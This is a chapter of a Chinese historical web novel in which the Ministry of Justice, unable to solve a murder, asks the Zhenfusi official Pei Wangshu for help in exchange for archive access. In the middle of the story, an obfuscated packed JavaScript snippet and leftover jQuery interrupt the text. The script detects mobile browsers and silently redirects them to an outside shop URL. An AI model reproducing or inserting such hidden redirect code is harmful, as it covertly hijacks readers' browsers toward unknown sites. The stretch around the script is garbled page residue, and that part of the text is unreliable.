转眼入了九月,杀害彭留闲的凶手依旧没找到,刑部每日焦头烂额,为了躲避皇帝的怒火,不是这个告了病假就是那个告了事假,谁都不想去触霉头。
皇帝已经年迈,越是感知到自己生命的短暂,越是不想舍弃皇位。早早立的太子也成了摆设,无论是最爱的皇子还是自己的心腹大臣,他统统不相信,总会疑神疑鬼觉得是觊觎他的皇位的。
他只会将权力牢牢握紧砸自己手里,什么事都要过问,可他忘记自己的身体早就支撑不住他这样。
御书房里,皇帝仰躺在椅子中,脸上是浓浓的倦色。连着批看了十多本奏折,身体已经吃不消了,眼睛也花了,脖子也疼。
大太监方进喜殷勤的呈上汤盅:“皇上,贵妃娘娘命人送来香饮,望您休息休息。”
皇帝眼睛都没睁,稍坐直身体,方进喜便已经绕到后方为他按揉脖子。
书房里安安静静。
片刻后,皇帝突然开口:“进喜啊,你说朕是不是老了?”
方进喜神色自若,手上动作没停,开口便是讨好的话:“皇上正值壮年,身体硬朗的很,哪里有老的样子。”他按到肩膀上,“依奴才看,皇上您和年轻时没多大变化。”
皇帝睁开眼,方进喜也放下手顺从的挪到书桌边。他打开新的奏折随口道:“还是你最得朕的心意啊。”
方进喜立马回道:“是皇上您抬爱奴才了,奴才谢皇上夸奖。”
奏折繁多,看完这个接着下个,内容也大差不差,皇帝又看疲了。他手捏了下眉心问道:“先前登闻鼓的案子怎么样了?”
今日他身子不甚爽利没上早朝,故而不清楚刑部查到哪一步了。
方进喜迅速思索后道:“回皇上的话,已经有头绪了,就差缉拿凶手,想必是快了。”
话说得滴水不漏,两边都没得罪。
皇帝微点头,也不晓得是信了还是没信。
此时的刑部大堂里围了几人,脸上都挂着焦急的神色。
左侍郎额头冒汗在大堂里踱步,走过来走过去。右侍郎看不下去,皱眉骂道:“你别再走了,晃得我头疼死了,到时候更是什么都想不出来。”
左侍郎一顿,两手一拍:“你以为我想走啊,我这还不是着急。”他两步跨到右侍郎身前道:“你要是真能想出办法,别说让我停住不走了,就是让我躺着都不会有一句怨言。”
右侍郎没话说,瞪着眼睛看他。
潘尚书上前隔开两人,皱眉道:“别再内讧了!”他跺脚,“当务之急是赶紧找线索,查杀害彭留闲的凶手在哪儿,否则皇上降罪下来我们都逃不脱。”
“我们也晓得,可关键是查不到线索啊。”左侍郎苦着脸,“我们该查的能查的都差了,结果不是没作案时间就是认证物证俱在,排除作案。”
他摇头道:“根本无从下手啊。”
右侍郎也摇头叹气。
潘尚书走到台阶上坐下,双手抱着头:“难道就没别的办法了吗?”
三人唉声叹气一起坐在台阶上。
右侍郎忽然开口,犹豫道:“要不……我们找镇抚司帮忙吧,他们查消息比我们灵通啊。”
潘尚书面上一喜:“对啊,怎么把这个办法忘了。”
“那谁去镇抚司说?”左侍郎泼下一盆冷水,“反正我是不敢去,你们俩一起?”
右侍郎连连摆手:“不去,我也不敢去。潘尚书,这个重任交给你最稳妥,我们两个就不舍命陪君子了。”
“好啊你们两个,遇到不想干的事就想到我了,怎么没见遇到好事先想到我。”
左右侍郎齐齐站起来赔罪,迅速往出退。
左侍郎高喊:“尚书,我和老冯的心会跟着你的,我们与你同在!”
潘尚书就这样被草草的推举出来,连拒绝的话都没法说。
镇抚司大门敞开,潘尚书深吸一口气下了马车,直挺挺的走进去。
壮烈赴死怕也是这么一回事了。
“哥。”胡昂嘴里喊着裴望舒跑进书房,“哥,刑部的潘尚书来找你。”
裴望舒抬起头诧异道:“潘尚书?他来找我做什么?”
胡昂摇摇头表示自己不知道。
“算了,”裴望舒起身往花厅走,“我去问问就知道了。”
花厅里两人对坐,潘尚书的手放在桌下紧张的扣腿,裴望舒拿着茶壶沏茶。
“不知潘尚书今日找在下,所为何事啊?”
被叫到的人尬笑一下道:“这不前日里遇到王尚书聊了两句嘛,聊着聊着就想到贤侄了,今日得空就赶来看看。”
“啊~”裴望舒拉长嗓音,客套道:“多谢潘尚书记挂在下,实在是受宠若惊。”
话是这么说,但裴望舒一点儿都不信他只是想来看看这么简单。
潘尚书嘴里哈哈两声,摸过茶杯喝茶,嘴里茶刚咽下去就听裴望舒又开口,一语道破他来的目的。
“潘尚书今日来应该是有事所求吧,不妨敞开说说,也省得打哑谜,费心又费力的。”裴望舒脸上挂着笑,语气染上了几分散漫。
能找上这镇抚司的,除了有事相求,平日里恨不得避开八丈远,也不怪他一下能猜透想法。
潘尚书看心思被猜透了,索性破罐子破摔,反正他也不是一个喜欢拐弯儿抹角的人,前面说的那句客套话都是他憋了半天才想出来。
潘尚书哈哈一笑:“贤侄果然聪慧,不愧是王尚书的学生。”他先夸赞一句,而后接着道:“那我也开门见山了,今日来确实有事相求,不知贤侄可否帮个忙?”
裴望舒抬了抬眼皮,像是得了点兴趣道:“哦?刑部也会找镇抚司帮忙吗?”他发出疑问,“不晓得是多要紧的事,能让大人来走一遭。”
他摸着茶杯:“大人尽管说,但我要听完再看看能不能帮上忙,”他仰起头咧嘴一笑,“毕竟我这镇抚司也不是无所不能的,您说对吧。”
都是官场上混的老滑头了,潘尚书哪儿能听不出来话里推卸的意思。要是换作平常他听到这样的话,怕是转身就走,可今时不同往日,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275145|198203||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他只能打马虎眼装作什么都没听出来。
“贤侄多虑了,我怎么会为难贤侄呢。今日来只是想请贤侄帮忙打听点消息罢了,这不是镇抚司比较拿手嘛,不知贤侄可否帮帮忙?”
裴望舒点点头道:“查消息啊,镇抚司确实比较拿手。”
潘尚书眼睛一亮。
“但是。”他话锋一转。
潘尚书眼睛又一暗。
“我得先知道大人想查什么才行,不然跟个无头苍蝇一样,可不耽误底下人训练嘛。”
裴望舒终于把话说完,潘尚书也被他这大喘气整的不太好。
“好说好说。”情绪调整迅速的潘尚书道,“我就是想拜托贤侄帮忙查查那彭家的案子,也不用多细致,能帮我们找到凶手就行,剩下的我们自己来动手。”
合着在这儿等他呢,裴望舒暗道。
话说的好听,只是一个小忙,实则好处全让他们刑部的占尽了。凶手也抓到了,案子也破了,皇上的罪责也逃了,他们倒是风光了,累死累活的事全让镇抚司干了。
潘尚书看人不说话了,又急起来。他也知道这样做不妥,可这不也是在没招了嘛。
他语气里带了点讨好:“贤侄别急着拒绝,我们可以打商量,你只要给我们个大概方向就行,不用找到凶手了。”他身子前倾到桌面上,“而且这份人情我们刑部记下了,若是日后需要尽管开口,我们刑部一定鼎力相助。”
这饼画的好,又大又圆的。
裴望舒在潘尚书期待的注视下动了动身子,他手指轻叩桌面像是在好好斟酌这个事情的可行性。潘尚书一眨不眨的盯着,紧张的像自己第一次上朝时那样
“好吧,我同意了。”裴望舒终于发话,潘尚书在听到这句话后瞬间神清气爽起来。
“但我还有条件。”
又是一个大喘气,但这回得了确切结果的潘尚书没多紧张了,他问:“不知贤侄的条件是什么?”
裴望舒歪了下头:“我最近也在查案子,不过凶手始终没有确切消息,但此人多年前也犯过事入过刑部,所以我想去翻翻卷宗,不知可行不可行?”
刑部的卷宗虽然很重要,但只要不涉及要案就没多大问题,况且他还是为了案子,那就更没问题了。
潘尚书点头道:“可行,可行,只要贤侄想来,刑部随时恭候。”
两人各达所需,气氛瞬间轻松下来。
潘尚书得了消息也不久留,说是为了配合裴望舒查消息,赶紧又跑回刑部,离开时轻快的样子像是大获全胜的将军。
镇抚司的动作也快,自裴望舒答应下来便探听到不少消息送进刑部,就是不知道刑部能否在这些消息里找到凶手了。
不过这都和裴望舒没什么关系,他派出自己的手下去查,本人却待在了刑部卷案库。
卷宗又多还不能带出,裴望舒这几日只能尽可能多的匀出时间待在里面,还要堤防照磨察觉出什么,反正也没好过到哪儿去。
两边都在忙活,绷出一副平静的表象。